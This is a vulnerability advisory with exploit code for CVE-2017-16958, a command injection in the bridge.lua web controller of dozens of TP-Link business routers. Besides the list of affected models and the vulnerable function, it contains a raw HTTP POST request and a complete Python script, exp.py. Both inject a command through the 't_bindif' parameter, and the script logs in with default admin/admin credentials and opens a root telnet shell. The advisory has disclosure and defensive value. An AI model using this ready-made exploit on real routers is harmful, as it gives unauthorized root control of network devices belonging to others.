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Wireless-Router-Vulnerability/TplinkBridgeAuthenticatedRCE.txt
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| CVE-2017-16958 | |
| [Vulnerability]: | |
| Command Injection in bridge.lua | |
| ------------------------------------------ | |
| [Exploitation]: | |
| Can remote command execution on the root shell. | |
| ------------------------------------------ | |
| [Vendor of Product]: | |
| Tp-Link router | |
| ------------------------------------------ | |
| [Affected Products and firmware version]: | |
| Tp-Link TL-WVR300 (Only hardware version v4) | |
| Tp-Link TL-WVR302 (only hardware version v2) | |
| Tp-Link TL-WVR450 (ALL the hardware version and firmware version) | |
| Tp-Link TL-WVR450L (ALL the hardware version and firmware version) | |
| Tp-Link TL-WVR450G (Only hardware version v5) | |
| Tp-Link TL-WVR458 (ALL the hardware version and firmware version) | |
| Tp-Link TL-WVR458L (ALL the hardware version and firmware version) | |
| Tp-Link TL-WVR458P (ALL the hardware version and firmware version) | |
| Tp-Link TL-WVR900G (Only hardware version v3) | |
| Tp-Link TL-WVR900L (ALL the hardware version and firmware version) | |
| Tp-Link TL-WVR1200L (ALL the hardware version and firmware version) | |
| Tp-Link TL-WVR1300L (ALL the hardware version and firmware version) | |
| Tp-Link TL-WVR1300G (ALL the hardware version and firmware version) | |
| Tp-Link TL-WVR1750L (ALL the hardware version and firmware version) | |
| Tp-Link TL-WVR2600L (ALL the hardware version and firmware version) | |
| Tp-Link TL-WVR4300L (ALL the hardware version and firmware version) | |
| Tp-Link TL-WAR302 (ALL the hardware version and firmware version) | |
| Tp-Link TL-WAR450 (ALL the hardware version and firmware version) | |
| Tp-Link TL-WAR450L (ALL the hardware version and firmware version) | |
| Tp-Link TL-WAR458 (ALL the hardware version and firmware version) | |
| Tp-Link TL-WAR458L (ALL the hardware version and firmware version) | |
| Tp-Link TL-WAR900L (ALL the hardware version and firmware version) | |
| Tp-Link TL-WAR1200L (ALL the hardware version and firmware version) | |
| Tp-Link TL-WAR1300L (ALL the hardware version and firmware version) | |
| Tp-Link TL-WAR1750L (ALL the hardware version and firmware version) | |
| Tp-Link TL-WAR2600L (ALL the hardware version and firmware version) | |
| Tp-Link TL-ER3210G (ALL the hardware version and firmware version) | |
| Tp-Link TL-ER3220G (ALL the hardware version and firmware version) | |
| Tp-Link TL-ER5110G (ALL the hardware version and firmware version) | |
| Tp-Link TL-ER5120G (ALL the hardware version and firmware version) | |
| Tp-Link TL-ER5510G (Only hardware version v2,v3) | |
| Tp-Link TL-ER5520G (Only hardware version v2,v3) | |
| Tp-Link TL-ER6110G (ALL the hardware version and firmware version) | |
| Tp-Link TL-ER6120G (Only hardware version v2) | |
| Tp-Link TL-ER6220G (ALL the hardware version and firmware version) | |
| Tp-Link TL-ER6510G (ALL the hardware version and firmware version) | |
| Tp-Link TL-ER6520G (Only hardware version v2,v3) | |
| Tp-Link TL-ER7520G (ALL the hardware version and firmware version) | |
| Tp-Link TL-R473 (only hardware version v5) | |
| Tp-Link TL-R473G (ALL the hardware version and firmware version) | |
| Tp-Link TL-R473P-AC (ALL the hardware version and firmware version) | |
| Tp-Link TL-R473GP-AC (ALL the hardware version and firmware version) | |
| Tp-Link TL-R478 (only hardware version v6) | |
| Tp-Link TL-R478+ (only hardware version v7) | |
| Tp-Link TL-R478G (ALL the hardware version and firmware version) | |
| Tp-Link TL-R478G+ (only hardware version v3) | |
| Tp-Link TL-R479P-AC (ALL the hardware version and firmware version) | |
| Tp-Link TL-R479GP-AC (ALL the hardware version and firmware version) | |
| Tp-Link TL-R479GPE-AC (ALL the hardware version and firmware version) | |
| Tp-Link TL-R483 (only hardware version v5) | |
| Tp-Link TL-R483G (only hardware version v2) | |
| Tp-Link TL-R488 (Only hardware version v5) | |
| Tp-Link TL-R4149G (ALL the hardware version and firmware version) | |
| Tp-Link TL-R4239G (Only hardware version v2) | |
| Tp-Link TL-R4299G (Only hardware version v2) | |
| ------------------------------------------ | |
| [Attack Type]: | |
| Remote | |
| ------------------------------------------ | |
| [Reference]: | |
| http://service.tp-link.com.cn/download/201612/TL-WVR450L%20V1.0%E5%8D%87%E7%BA%A7%E8%BD%AF%E4%BB%B620161125.zip (Official firmware for TL-WVR450L) | |
| http://www.tp-link.com.cn/product_listsmb_2008_26_00_01_02_03_04.html | |
| http://www.tp-link.com.cn/product_listsmb_2022_9_00_01_02_03.html | |
| http://www.tp-link.com.cn/product_listsmb_2023_7_00_01_02.html | |
| ------------------------------------------ | |
| [Discoverer]: | |
| Tianfeng Guan, Sichuan Silent Information Technology Co.,Ltd ,http://www.silence.com.cn/ | |
| ------------------------------------------ | |
| [Affected components]: | |
| Affected executable application: uhttpd | |
| Affected source code file: /usr/lib/lua/luci/controller/admin/bridge.lua | |
| Affected function: get_device_byif(iface) | |
| ------------------------------------------ | |
| [Vulnerability details]: | |
| After the web login Authentication, When accessing the bridge.lua through the web manager(uhttpd), | |
| we can add a bridge interface by the controller function add_br(http_form). | |
| During this operation, it doesn't limit and check the value of the parameter "t_bindif" in http post data. | |
| And in the bridge.lua, it defines the local function get_device_byif(iface) to handle input http post data "t_bindif". | |
| step1. http post to bridge.lua and make method=add | |
| step2. --> function add_br(http_form) | |
| step3. --> local function check_section_available(data, op) | |
| step4. --> local function tophy(ifname) | |
| step5. --> local function get_device_byif(iface) | |
| local function get_device_byif(iface) | |
| local mycmd = ". /lib/zone/zone_api.sh; zone_get_device_byif " .. iface | |
| ff = io.popen(mycmd, "r") | |
| if not ff then | |
| return false | |
| end | |
| local ll = ff:read("*l") | |
| if not ll then | |
| return false | |
| end | |
| local ret = string.gsub(tostring(ll), "%s.*", "") | |
| return ret | |
| end | |
| So, we can see the local function get_device_byif doesn't have any check and limit to the input parameter, | |
| and it will use the io.popen to execute the shell command which include the value of the parameter "t_bindif" in http post data. | |
| ------------------------------------------ | |
| [Exploitation details]: | |
| Because access to the bridge.lua requires web authentication,so it needs the web login credentials, or a session hijack vulnerability, | |
| or a weak credentials brute force attack to get access permissions for the bridge.lua at first. | |
| And then, we can use this Authenticated Remote Command Execution vulnerability to execute any command on the root shell. | |
| For example, we can send a http post request like: | |
| POST /cgi-bin/luci/;stok=5e2bd3d2d19d61207bcdfc7e85f6010c/admin/bridge?form=bridge_setting HTTP/1.1 | |
| Host: 192.168.3.1 | |
| Content-Length: 217 | |
| Accept: application/json, text/javascript, */*; q=0.01 | |
| Origin: http://192.168.3.1 | |
| X-Requested-With: XMLHttpRequest | |
| User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36 | |
| Content-Type: application/x-www-form-urlencoded; charset=UTF-8 | |
| Referer: http://192.168.3.1/webpages/index.html | |
| Accept-Encoding: gzip, deflate | |
| Cookie: sysauth=b1f57e85f01660b0fafbf9f057af23df | |
| Connection: close | |
| data=%7B%22method%22%3A%22add%22%2C%22params%22%3A%7B%22new%22%3A%7B%22t_name%22%3A%22exploit%22%2C%22t_useconfig%22%3A%220%22%2C%22t_configif%22%3A%221%22%2C%22t_bindif%22%3A%22%3Btelnetd+-p+25+-l+/bin/sh%22%7D%7D%7D | |
| Finally, this http post request packet will make the router execute the command "telnetd -p 25 -l /bin/sh". | |
| ------------------------------------------ | |
| [exp.py]: | |
| # Tested product: TL-WVR450L | |
| # Hardware version:V1.0 | |
| # Firmware version: 20161125 | |
| # The RSA_Encryption_For_Tplink.js is use for Rsa Encryption to the password when login the web manager. | |
| # You can download the RSA_Encryption_For_Tplink.js by https://github.com/coincoin7/Wireless-Router-Vulnerability/blob/master/RSA_Encryption_For_Tplink.js | |
| import execjs | |
| import requests | |
| import json | |
| import urllib | |
| def read_js(): | |
| file = open("./RSA_Encryption_For_Tplink.js", 'r') | |
| line = file.readline() | |
| js = '' | |
| while line: | |
| js = js + line | |
| line = file.readline() | |
| file.close() | |
| return js | |
| def execute(ip, port, username, passwd, cmd): | |
| try: | |
| s = requests.session() | |
| uri = "http://{}:{}".format(ip,port) | |
| headers = { | |
| 'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8', | |
| 'Referer': 'http://{}/webpages/login.html'.format(ip) | |
| } | |
| payload = { | |
| "method":"get" | |
| } | |
| ret = s.post(uri + '/cgi-bin/luci/;stok=/login?form=login', data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5) | |
| rsa_public_n = json.loads(ret.text)['result']['password'][0].encode("utf-8") | |
| rsa_public_e = json.loads(ret.text)['result']['password'][1].encode("utf-8") | |
| js = read_js() | |
| js_handle = execjs.compile(js) | |
| password = js_handle.call('MainEncrypt', rsa_public_n, rsa_public_e, passwd) | |
| payload = { | |
| "method":"login", | |
| "params":{ | |
| "username":"{}".format(username), | |
| "password":"{}".format(password) | |
| } | |
| } | |
| ret = s.post(uri + '/cgi-bin/luci/;stok=/login?form=login', data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5) | |
| stok = json.loads(ret.text)['result']['stok'].encode('utf-8') | |
| cookie = ret.headers['Set-Cookie'] | |
| print '[+] Login success' | |
| print '[+] Get The Token: ' + stok | |
| print '[+] Get The Cookie: ' + cookie | |
| headers = { | |
| 'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8', | |
| 'Referer':'http://{}/webpages/login.html'.format(ip), | |
| 'Cookie':'{}'.format(cookie) | |
| } | |
| payload = { | |
| "method":"add", | |
| "params":{ | |
| "new":{ | |
| "t_name":"exploit", | |
| "t_useconfig":"0", | |
| "t_configif":"1", | |
| "t_bindif":";{}".format(cmd) | |
| } | |
| } | |
| } | |
| ret = s.post(uri + '/cgi-bin/luci/;stok={}/admin/bridge?form=bridge_setting'.format(stok), data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5) | |
| #print ret.text | |
| print '[+] Finish RCE' | |
| print '--------------------------------------------------------------' | |
| return True | |
| except: | |
| return False | |
| if __name__=='__main__': | |
| print '-----------Tplink LUCI Bridge Authenticated RCE-----------' | |
| print execute('192.168.1.1', 80, 'admin', 'admin', 'telnetd -p 25 -l /bin/sh') |